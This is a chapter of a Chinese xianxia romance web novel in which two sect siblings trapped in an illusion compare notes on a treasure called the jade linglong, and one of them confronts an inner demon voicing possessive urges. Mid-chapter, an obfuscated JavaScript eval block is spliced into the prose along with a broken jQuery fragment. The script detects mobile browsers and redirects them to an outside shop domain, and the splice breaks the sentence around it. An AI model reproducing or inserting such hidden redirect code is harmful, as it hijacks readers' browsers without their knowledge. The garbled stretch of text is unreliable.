闻夕站起来,假装无事发生,将衣服整理好,松散的发也束好。
她确定此刻躺在地上,衣衫不整的沈归宁是真货。
刚才发生的事在闻夕脑中不停回放,本想诈一诈假货,结果被如假包换的真货给看到了,闻夕闭上了双眼,感觉面上微微发烫。
逃出幻境的想法更加强烈了。
沈归宁半撑身子,胸口前的衣裳在刚才的拉扯中敞开,一股长发半遮半掩在胸前,和平日中清冷疏离的模样完全不同。
“知道你是真的了,还不快起来。”闻夕说,她无法直视沈归宁,尤其是看到对方这个样子,不再是高高在上的苍云山掌门,反而像是......勾引人为食的妖精?
离开苍云山,独自出任务后,闻夕偶尔会来到风月场所找人找物,那里面的莺莺燕燕,男欢女爱之事,闻夕也不是没见过,偶尔还会直面一场红浪翻滚的情事。她也见过男女滚在一起,女人伏在俊俏男人身上,二人面色潮红,空气中的香薰人,和话本子中描述的大致相同。
她总觉得看了就看了,没什么大不了的,反正也不会记在心里。
此时无端想起这些,闻夕第一个反应是奇怪,自己为何会想起这种事,随后感觉麻意从头到脚扫过全身。
沈归宁现在这样子和记忆中躺在红帐里的男人模样不断重合,男人和女人的动作,她刚才趴在沈归宁身上的动作,闻夕心跳加速,连续摇了好几下头,嘴上不停念叨清心的口诀才让自己冷静下来。
沈归宁还是没有站起来,看着闻夕自言自语,面上和耳尖微微发红,看起来很可爱。
他朝着闻夕伸手:“腿麻了,可否帮我一把?”
闻夕握住他的手,往后一拽,沈归宁站起来,可腿上的麻意使他一踉跄,少年倒在闻夕的怀中。
二人又一次贴在一起,只是闻夕站住了脚跟,没有摔倒。
和之前抱过的高大的身体不同,现在的沈归宁反而小了一些,闻夕忍不住问:“你怎么变小了?”
“进入幻境后就变成这样了,看来这幻境还能随意改变人的外形。”沈归宁握住闻夕的手臂,勉强站好。
他看了看闻夕的脸,和记忆中的闻夕别无二样,少女样貌清丽,杏眼圆鼻,皮肤上有被剑气伤到的微小伤疤,额前的碎发遮盖了不少伤痕。
他记得,十六岁左右的闻夕就是这副摸样。
二人各自松开手,心平气和地坐下来好好说话。
闻夕得知,沈归宁也被拉入了幻境,发现自己换了身昔日的旧衣服,还看到了她和谢林真。
他顺着幻境中编织好的剧情走下去,来到了这个地方,想着从幻境中出现的闻夕和谢林真身上寻找破阵的方法,突然闻夕像是变了一个人,朝着他和假货谢林真出剑,也是那个时候,沈归宁就察觉到闻夕身上的不对劲,但不敢贸然上前确认,一旦认错后果不敢想象。
和闻夕入幻境后的经历相同,他们来到桃花客栈,见到小莲和张松岭,沈归宁感叹幻境中事物颠倒,出乎他的意料。
本想再继续观察,可没想到闻夕反常地靠近上来,用着现实中绝不可能的话术和动作,沈归宁被她压在身下,心中又惊又怒,直到闻夕掐住自己的脖子,逼问他时,沈归宁认出了闻夕。
闻夕低下头:“是我不好。”
她在向沈归宁道歉,刚才所为多有冒犯,但沈归宁微微一笑:“你不知实情,无需有愧。”
闻夕并不需要向他道歉,沈归宁回想着刚才二人的事情,惊讶于闻夕做出平日中完全不会做的动作,说着不可能说的话,那时候他彻底懵了,被推到在地,手贴在她腰上,握住她纤细的手腕,只差一点就能吻上红唇,恍惚间快感遍布全身。
被闻夕掐住脖子也感到无比快乐,沈归宁差点觉得自己疯了。
与求之不得之人如此亲近,沈归宁忽然觉得在幻境中留下来也没什么不好,他可以抛下困住自己的东西,就这样跟闻夕待在一起。
但很快,失落感让他冷静下来。假的东西永远不能成真,闻夕性格淡然,绝不会做出这种事。
他喜欢的是真实的闻夕,假的柔情甜蜜终究还是假的。
酸涩和甜交织,在沈归宁心中不停缠绕,他无奈地笑了笑,又听到闻夕在喊自己:“师兄?”
对上一双冷静的眼睛,沈归宁心猛然一跳,将刚才缠绵悱恻的幻想抛在脑后:“怎么了?”
“你不觉得奇怪吗,谢林真,小莲和张松岭不再是我们印象中的人,三人互换身份,并且同时提到了玉玲珑。”闻夕顿了顿,“世人只知道江湖密令,从未以玉玲珑称呼那件宝物,很有可能,玉玲珑是突破点。”
夺舍黑脸壮汉之人也提到玉玲珑,对方的目的显而易见,就是为了夺走这件宝贝,幻境会不会和这人有关。
越想越多,沈归宁将心中的猜测说给闻夕听:“小夕,你师祖……她有向你提过玉玲珑吗?”
闻夕摇头。
除了剑术之外师祖几乎不说其他事,红衣女人会静静地望着远方,眼睛中空无一物,又或者突然变得好动,拽着闻夕让她给自己耍两套剑法看看。
闻夕问过师祖的来历,对方指了指东边的方向,落寞地又带着期待地说,她来自那里,最后也想回去那里。
师祖是一个非常奇怪的女人,以至于闻夕以后再见到举止异常的人都不值得她有多惊讶。
“你想说,玉玲珑和师祖有关。”闻夕说,“我从未在师祖身上见到过红色的玉石碎片,她只带着一把普通的剑,符纸法器都没有。”
“师祖不是普通剑修,她身上藏着许多秘密,交给我剑术在剑术秘籍里并未记载,我曾问过剑首师父关于师祖的事,剑首师父不愿意给我说,可突然有一天,剑首师父突然给我说,师祖的剑术来源于两百多年前某个已经消失的门派。”
“剑首师父说完这句话后,再也没有跟我说过师祖的事情了。”
沈归宁看向桌面,陷入回忆。
苍云山上剑术第一人曾是闻夕和沈归宁的剑首师父,此人潇洒狂妄,是个人尽皆知的剑痴。他不爱过问山上的事,更是在苍云山出事后只回来过一次,将掌门令扔给沈归宁后转身而去。
剑首常年带着一副木面具,没有人见过他长什么样子,和闻夕的师祖一样神秘。
闻夕隐隐约约觉得师祖和剑首之间的关系不一般,女人常常提起几个人的名字,会笑着说去见一见这群人,转头把她带上苍云山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787411|209387||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
交给剑首。
她越想越深,对于师祖的想念也越发沉重。
外面依旧是黑夜,幻境内的一切事物太过逼真,闻夕生出困意,强睁着眼睛不睡过去。
沈归宁见她实在困得不行,于是提出:“实在困了,就休息吧。”
闻夕摇摇头,她现在的这副身子经不起熬夜,总是到时候就睡了,不像沈归宁常常捉黑溜出去。
睡意上头时,身旁传来衣服摩擦的声音。
她的身上多了件白色外衫,再一看沈归宁只穿着内衫坐在她身旁:“有我在这里,放心吧。”
说着,他轻轻握住闻夕的手,这一次闻夕并没有挣开,眼睛一闭睡了过去。
睡前还有一小段记忆,她似乎听到耳边响起歌声,似乎是哄孩子睡觉的旋律。
闻夕趴在桌子上睡着了。
她的精神时时刻刻都在紧绷着,在这时放松了下来,沈归宁轻轻拍着她的背,感受着稳定的气息从她身体中上下起伏,即便轻声呼唤,也没有反应。
“睡个好觉,师妹。”
沈归宁注视着闻夕,周围尽是黑暗,只有桌上一点点光亮。他凑近上去,微弱的灯光下,还是能看清闻夕的脸。
睫毛长长的,脸上的小伤痕也快痊愈了,嘴巴抿紧成线,一切都落入沈归宁的眼中。
那时候可没有机会离闻夕这么近,他几乎要贴上去,要把她的容貌全都记在脑中。
“如果能一直这样靠近你就好了。”沈归宁突然说出这句话,说完后他愣了一下。
“你的身边只能有我一人就好。”
这句话是在他完全没有意识的情况下说出来的。
“靠近她,得到她,囚禁她,让她再也离不开你,杀了她身边所有碍事的人,不让她回到梅昀或者其他人身边,让她喜欢你,爱上你,眼里心里只有你一个人,拥抱,亲吻,缠绵,结为夫妻道侣……对她做任何事情都可以!”
“这不是你最想要的吗?”
沈归宁心脏猛然一疼,脑中突然出现自己的声音,他无声地站起来,向后撤退了三四步,撞到墙才停下来。
用着他的嗓音发出嗤笑,不依不饶:“别装了,沈归宁,你还能装好人到什么时候,可别说你没有和闻夕有关的春梦,没有对师妹做过无耻下流之事。”
“你真以为,闻夕不知道你藏着她的衣服,藏着她用过的东西,还不会去喜欢其他人,别做梦了,当她知道你对她做了什么后,她还会心平气和的跟你好好说话,还会再叫你一声师兄吗?”
肮脏龌龊的话充据在脑中,将他藏在心里的欲望一点一点勾出来。
偏偏是在这个时候……沈归宁闭上眼睛,双手结印,清澈的灵气闪电般冲入心脏。
这些话是他内心深处传来的,是他一直在压制的东西,也是他的心魔。
苍云山有一种独特心法,自开山师祖举剑建山起,心法藏在藏书阁最深层,那个地方只有掌门才被允许进入。
只有习得此心法可练就苍云山最强剑诀,在沈归宁成为掌门后,为了复兴门派,保护苍云山,每日每刻都在苦修。
有学习秘法的资格后,沈归宁来到藏书阁深处,里面的东西让他血色全无。